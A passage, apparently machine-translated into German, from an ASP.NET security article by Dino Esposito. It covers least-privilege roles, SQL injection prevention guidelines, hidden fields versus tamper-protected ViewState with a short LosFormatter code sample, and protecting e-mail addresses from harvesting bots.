Noch wichtiger ist es, sicherzustellen, dass nur autorisierte Benutzer potenziell verheerende Vorgänge wie das Löschen von Tabellen ausführen. Dies erfordert einen sorgfältigen Entwurf der mittleren Ebene der Anwendung. Eine gute Technik, nicht nur aus Sicherheitsgründen, ist es, sich auf Rollen zu konzentrieren. Sie gruppieren Benutzer in Rollen und definieren ein Konto für jede Rolle mit dem geringsten Berechtigungssatz.

Vor einigen Wochen wurde die Wintellect-Website durch eine anspruchsvolle Form der SQL-Einschleusung angegriffen. Der Hacker versuchte, ein FTP-Skript zu erstellen und zu starten, um eine (böswillige?) ausführbare Datei herunterzuladen. Es war unser Glück, dass der Angriff scheiterte. Oder war es eher eine starke Eingabeüberprüfung, die Verwendung gespeicherter Prozeduren und die Verwendung von SQL Server Berechtigungen, die verhinderten, dass der Angriff funktionierte?

Befolgen Sie zusammenfassend die folgenden Richtlinien, um unerwünschte Einschleusungen von SQL-Code zu vermeiden:

  • Führen Sie mit den geringsten Rechten aus, und führen Sie Code niemals als "sa" aus.
  • Schränken Sie den Zugriff auf integrierte gespeicherte Prozeduren ein.
  • Bevorzugen Sie parametrisierte SQL-Abfragen.
  • Erstellen Sie keine Anweisungen über Zeichenfolgenverkettung, und geben Sie keine Datenbankfehler an.

Ausgeblendete Felder

In klassischen ASP sind ausgeblendete Felder die einzige Möglichkeit, Daten zwischen Anforderungen zu speichern. Alle Daten, die Sie bei der nächsten Anforderung abrufen müssen, werden in ein ausgeblendetes <Eingabefeld> gepackt und umgedreht. Was geschieht, wenn auf dem Client jemand die im Feld gespeicherten Werte ändert? Die serverseitige Umgebung hat keine Möglichkeit, es herauszufinden, solange der Text klar ist. Die ASP.NET ViewState-Eigenschaft für Seiten und einzelne Steuerelemente dient zwei Zwecken. Auf der einen Seite ist viewState das Mittel, um den Zustand über Anforderungen hinweg beizubehalten. Andererseits können Sie mit ViewState benutzerdefinierte Werte in einem geschützten, manipulationssicheren ausgeblendeten Feld speichern.

Wie in Abbildung 2 dargestellt, wird dem Ansichtszustand ein Hashwert angefügt, der bei jeder Anforderung überprüft wird, um Manipulationen zu erkennen. Es gibt keinen Grund für die Verwendung ausgeblendeter Felder in ASP.NET außer in einigen wenigen Fällen. Der Ansichtszustand funktioniert auf eine viel sicherere Weise. Im Voraus gesagt, dass das Speichern sensibler Werte wie Preise oder Kredit Karte Details in einem klar ausgeblendeten Feld wie das Öffnen der Tür für Hacker ist, würde der Ansichtszustand diese schlechte Praxis aufgrund seines Datenschutzmechanismus sogar weniger gefährlich machen als zuvor. Beachten Sie jedoch, dass der Ansichtszustand Manipulationen verhindert, aber keine Vertraulichkeit garantiert, es sei denn, Sie verschlüsseln sie. Guthaben Karte Details, die im Ansichtszustand gespeichert sind, sind daher sowieso gefährdet.

Wann ist es zulässig, ausgeblendete Felder in ASP.NET zu verwenden? Wenn Sie benutzerdefinierte Steuerelemente erstellen, die Daten zurück an den Server senden müssen. Angenommen, Sie erstellen ein neues DataGrid-Steuerelement , das die Neuanordnung von Spalten unterstützt. Sie müssen die neue Bestellung bei Postbacks zurück an den Server übergeben. Wo sonst können Sie diese Informationen speichern, wenn nicht in einem ausgeblendeten Feld?

Wenn es sich bei dem ausgeblendeten Feld um ein Lese-/Schreibfeld handelt, d. h. es wird erwartet, dass der Client darauf schreibt, können Sie nicht viel tun, was hackersicher ist. Sie können versuchen, den Text zu hashen oder zu verschlüsseln, aber dies würde Ihnen keine vernünftige Sicherheit geben, nicht gehackt zu werden. Die beste Verteidigung besteht darin, dass das ausgeblendete Feld inert und harmlose Informationen enthält.

Beachten Sie jedoch, dass ASP.NET eine wenig bekannte Klasse verfügbar macht, die zum Codieren und Hashen jedes serialisierten Objekts verwendet werden kann. Die -Klasse ist LosFormatter und ist die gleiche Klasse, die von der ViewState-Implementierung verwendet wird, um den codierten Text roundtriped an den Client zu erstellen.

private string EncodeText(string text) {
  StringWriter writer = new StringWriter();
  LosFormatter formatter = new LosFormatter();
  formatter.Serialize(writer, text);
  return writer.ToString();
}

Der vorangehende Codeausschnitt zeigt, wie Sie losFormatter verwenden, um zustandsähnliche Inhalte zu erstellen, die codiert und gehasht werden.

E-Mails und Spam

Zum Abschluss dieses Artikels möchte ich darauf hinweisen, dass mindestens zwei der häufigsten Angriffe – klassische XSS und ein Klick – häufig durchgeführt werden, indem ahnungslose Opfer dazu verleitet werden, auf verführerische und gefälschte Links zu klicken. Oft finden wir solche Links direkt in unserem Posteingang, Antispamfilter ungeachtet. Mengen von E-Mail-Adressen können für ein paar Dollar gekauft werden. Eine der Standard Techniken, die zum Erstellen solcher Listen verwendet werden, ist das Scannen öffentlicher Seiten auf Websites, die nach allen Elementen suchen, die wie eine E-Mail-Adresse aussehen.

Wenn eine Seite eine E-Mail-Adresse anzeigt, stehen die Chancen gut, dass sie früher oder später von Webrobotern erfasst wird. Wirklich? Nun, es hängt viel davon ab, wie Sie die E-Mail-Adresse anzeigen. Wenn Sie es hartcodieren, sind Sie verloren. Wenn Sie auf alternative Darstellungen wie dino-at-microsoft-dot-com zurückgreifen, ist es nicht klar, ob Sie einen Webroboter wirklich täuschen; sicherlich werden Sie jeden Menschen irritieren, der Ihre Seite liest, der einen legitimen Kontakt herstellen möchte.

Insgesamt sollten Sie eine Möglichkeit finden, die E-Mail-Adresse dynamisch als Mailto-Link zu generieren. Genau das macht eine freie Komponente, die von Marco Bellinaso geschrieben wurde. Sie können ihn mit dem vollständigen Quellcode von der DotNet2TheMax-Website abrufen.

Zusammenfassung

Bezweifelt jemand, dass das Web wahrscheinlich die feindseligste aller Laufzeitumgebungen ist? Dies kommt aus der Tatsache, dass jeder auf eine Website zugreifen und versuchen kann, sie mit guten und schlechten Daten zu übergeben. Wäre es jedoch wirklich sinnvoll, eine Webanwendung zu erstellen, die keine Benutzereingaben akzeptiert?

Seien wir ehrlich: Unabhängig davon, wie stark Ihre Firewall ist und wie häufig Sie verfügbare Patches anwenden, wenn Sie eine inhärent anfällige Webanwendung ausführen, werden Angreifer früher oder später direkt zum Kern Ihrer Systeme über den Standard Eingang, nämlich Port 80, gehen.

ASP.NET Anwendungen sind weder anfälliger noch sicherer als andere Webanwendungen. Sicherheit und Sicherheitsrisiken ergeben sich aus Programmierpraktiken, Erfahrung aus dem Feld und Teamarbeit. Keine Anwendung ist sicher, wenn das Netzwerk nicht vorhanden ist. Ebenso finden Angreifer, unabhängig davon, wie sicher und gut verwaltet das Netzwerk ist, immer ihren Weg, wenn die Anwendung beschädigt wird.

Das Schöne an ASP.NET ist, dass es Ihnen ein paar gute Tools bietet, um die Sicherheitsleiste mit wenigen Klicks auf ein passables Niveau zu heben. Es ist jedoch kein ausreichendes Niveau. Verlassen Sie sich nicht allein auf ASP.NET integrierten Lösungen, aber Sie sollten sie auch nicht ignorieren. Und lernen Sie so viel wie möglich über die häufigsten Angriffe.

Dieser Artikel enthält eine kommentierte Liste der integrierten Features und einige Hintergrundinformationen zu Angriffen und Abwehrmaßnahmen. Techniken zum Erkennen laufender Angriffe sind eine andere Geschichte und erfordern möglicherweise einen weiteren Artikel.

Schreiben von Secure Code von Michael Howard und David LeBlanc

TechNet Magazin, Diebstahl im Web: Verhindern von Sitzungsentführungen

 

Zum Autor

Dino Esposito ist ein Wintellect-Ausbilder und Berater mit Sitz in Italien. Der Autor von Programming Microsoft ASP.NET und der neueren Einführung in Microsoft ASP.NET 2.0 (beide von Microsoft Press) verbringt die meiste Zeit damit, Kurse über ASP.NET und ADO.NET zu unterrichten und auf Konferenzen zu sprechen. Besuchen Sie Dinos Blog unter https://weblogs.asp.net/despos.

© Microsoft Corporation. Alle Rechte vorbehalten.